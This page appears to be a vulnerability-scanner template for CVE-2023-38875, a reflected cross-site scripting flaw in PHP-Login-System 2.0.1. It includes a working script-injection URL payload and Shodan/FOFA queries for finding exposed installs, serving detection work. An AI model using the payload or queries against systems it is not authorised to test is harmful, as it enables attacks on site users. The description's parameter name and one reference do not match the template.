PHP Login System 2.0.1 - Cross-Site Scripting
CVE-2023-38875
Verified
Description
msaad1999's PHP-Login-System 2.0.1 contains a reflected cross-site scripting caused by unsanitized input in 'validator' parameter in /reset-password, letting remote attackers execute arbitrary JavaScript in a user's browser, exploit requires attacker to craft malicious URL
Severity
Medium
CVSS Score
6.1
Exploit Probability
1%
Affected Product
php-login-system
Published Date
November 28, 2025
Template Author
0x_akoko
CVE-2023-38875.yaml
id: CVE-2023-38875
info:
name: PHP Login System 2.0.1 - Cross-Site Scripting
author: 0x_Akoko
severity: medium
description: |
msaad1999's PHP-Login-System 2.0.1 contains a reflected cross-site scripting caused by unsanitized input in 'validator' parameter in /reset-password, letting remote attackers execute arbitrary JavaScript in a user's browser, exploit requires attacker to craft malicious URL
impact: |
Attackers can execute arbitrary JavaScript in users' browsers, potentially stealing cookies or session tokens.
remediation: |
Implement proper input validation and output encoding for the 'validator' parameter.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-38876
- https://github.com/dub-flow/vulnerability-research/tree/main/CVE-2023-38875
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-38875
cwe-id: CWE-79
epss-score: 0.00824
epss-percentile: 0.53277
cpe: cpe:2.3:a:msaad1999:php-login-system:2.0.1:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: msaad1999
product: php-login-system
shodan-query: http.html:"klik_loginsystem"
fofa-query: body="klik_loginsystem"
tags: cve,cve2023,xss,php-login-system
http:
- method: GET
path:
- '{{BaseURL}}/reset-password/?selector=test"><script>alert(document.domain)</script>&validator=test'
matchers:
- type: dsl
dsl:
- 'contains_all(body, "test\"><script>alert(document.domain)</script>", "Embeddable PHP Login System")'
- 'contains(content_type, "text/html")'
- 'status_code == 200'
condition: and
# digest: 4b0a0048304602210092058f7f0b57b9ebe85b3b8dcd539306beb0a9e8ea98f7b439300e4149e64e77022100a3853e05df13d09d56cf1e30ecddad65bbf7a6a05a0258d84b9e7da270e39d10:922c64590222798bb761d5b6d8e729506.1Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVE ID:
cve-2023-38875
CWE ID:
cwe-79
Remediation Steps
Implement proper input validation and output encoding for the 'validator' parameter.